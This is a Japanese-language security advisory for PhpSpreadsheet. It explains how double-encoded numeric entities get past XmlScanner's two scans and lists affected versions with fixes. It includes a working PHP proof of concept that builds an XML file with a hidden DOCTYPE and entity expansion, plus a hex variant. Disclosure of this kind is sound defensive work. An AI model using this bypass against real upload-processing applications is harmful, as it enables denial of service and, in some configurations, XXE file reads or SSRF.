PhpSpreadsheet: `unentity()`関数の二重エンコードによるXmlScannerの回避により、XXE攻撃やサービス拒否(DoS)が可能になる。

### 概要
SpreadsheetML XML リーダー (`Reader\Xml`) は、ファイルの内容を `XmlScanner::scan()` を使用して**2回**スキャンします。各スキャンで、`unentity()` コールバックが実行され、パターンチェックの**後**に `html_entity_decode()` が呼び出されます。 `<` 文字を `&#38;#60;` と二重エンコードすることで、最初のスキャンでは `&#38;` が `&` にデコードされ (`&#60;` を形成)、2回目のスキャンでは `&#60;` が `<` にデコードされます (`<!DOCTYPE>` を形成)。どちらのスキャンでも、パターンチェックで `<!DOCTYPE` という文字列が検出されません。これは、コールバックが各チェックの後に実行されるためです。これにより、**すべてのPHPバージョン**でエンティティの展開によるサービス拒否攻撃が可能になり、PHP < 8.0 の場合、または `LIBXML_NOENT` が使用されている場合は、XXE/SSRF 攻撃が可能になります。

### 詳細

この脆弱性は、3つのコード領域間の相互作用によって発生します。

**1. `XmlScanner::scan()`** (XmlScanner.php, 87–108行) — パターンをコールバックの**前**にチェックします。

```php
public function scan($xml): string
{
$pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';

if (preg_match($pattern, $xml)) { // チェック 1 (raw)
throw new Exception('ENTITYの使用を検出しました...');
}
$xml = $this->toUtf8($xml);
if (preg_match($pattern, $xml)) { // チェック 2 (UTF-8)
throw new Exception('ENTITYの使用を検出しました...');
}
if ($this->callback !== null) {
$xml = call_user_func($this->callback, $xml); // デコード (チェックの後!)
}
return $xml; // <!DOCTYPE が存在しますが、チェックされません
}
```

**2. `Xml::canRead()`** (Xml.php, 79–117行) — スキャンを実行し、結果を保存します。

```php
$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1回目のスキャン
// ...
$this->fileContents = $data; // 部分的にデコードされた内容を保存
```

**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, 120–150行) — 保存された内容を再スキャンします。

```php
$data = $this->fileContents; // 既に部分的にデコード済み
$xml = simplexml_load_string(
$this->getSecurityScannerOrThrow()->scan($data) // 2回目のスキャンでデコードが完了
);
```

ダブルスキャンによるデコードの仕組み:

```
生データ: &#38;#60;!DOCTYPE
|
1回目のスキャン(): パターンチェック → 一致なし("<" 文字がない)
コールバック → html_entity_decode(&#38;) = &
|
保存されたデータ: &#60;!DOCTYPE
|
2回目のスキャン(): パターンチェック → 一致なし("<" 文字がない)
コールバック → html_entity_decode(&#60;) = <
|
パーサーが認識する: <!DOCTYPE ← どちらのスキャンでも検出されない
```

`unentity()` コールバック(Xml.php、54~61行目)は、5つの名前付きエンティティ(`&amp; &lt; &gt; &quot; &apos;`)をUnicodeプレースホルダーで保護しますが、数値エンティティ(`&#38; &#60; &#x26; &#x3C;`)は保護されず、`html_entity_decode()` によってデコードされます。

### PoC (概念実証)

以下のコードを、ComposerでPhpSpreadsheetがインストールされているディレクトリに `poc_toctou.php` という名前で保存します。

```php
<?php
require 'vendor/autoload.php';

// ダブルエンコード: &#38;#60; は2回の scan() を通過する
// 1回目のスキャンコールバック: &#38; → & (となり、&#60; を形成)
// 2回目のスキャンコールバック: &#60; → < (となり、<!DOCTYPE を形成)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$xml = '<?xml version="1.0"?>' . "\n"
. '<?mso-application progid="Excel.Sheet"?>' . "\n"
. '&#38;#60;!DOCTYPE Workbook [' . "\n"
. ' &#38;#60;!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
. ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
. ' <Worksheet ss:Name="Sheet1">' . "\n"
. ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
. ' </Worksheet>' . "\n"
. '</Workbook>';

file_put_contents('poc.xml', $xml);
echo "ファイルサイズ: " . filesize('poc.xml') . " バイト\n";
```

```
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
```

実行方法: `php -d memory_limit=512M poc_toctou.php`

**期待される結果:** ファイルが正常に読み込まれ、スキャン処理の両方を回避します。内部エンティティが展開され、約45MBのメモリを消費します。セルA1には32,767バイトが含まれており(PhpSpreadsheetの最大セル長)、エンティティの展開が確認されます。

**Hex形式のバリアント:** `&#38;#60;` を `&#38;#x3C;` に置き換えます。どちらも `html_entity_decode()` でデコードされます。

**テスト環境:** PhpSpreadsheet 5.9.0、PHP 8.5.3、libxml2 2.9.13。

### 影響

| 攻撃手法 | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |
|--------|---------------------------|------------------------|
| サービス拒否 (二次的な増加) | **脆弱性あり** | **脆弱性あり** |
| SYSTEMエンティティによるローカルファイル読み込み | **脆弱性あり** | デフォルトでブロック |
| SYSTEMエンティティによるSSRF | **脆弱性あり** | デフォルトでブロック |
| LIBXML_NOENTを使用した場合のファイル読み込み | **脆弱性あり** | **脆弱性あり** |

`<?mso-application progid="Excel.Sheet"?>` という処理命令を持つ、ユーザーがアップロードしたSpreadsheetML XMLファイルを処理するアプリケーションは、PhpSpreadsheetの`Xml`リーダーを使用している場合、脆弱性があります。

影響を受けるパッケージ:
- Composer (PHP) phpoffice/phpspreadsheet: 影響範囲は 4.0.0 以降、5.9.0 以下、5.10.0 で修正済み
- Composer (PHP) phpoffice/phpspreadsheet: 影響範囲は 3.3.0 以降、3.10.7 以下、3.10.8 で修正済み
```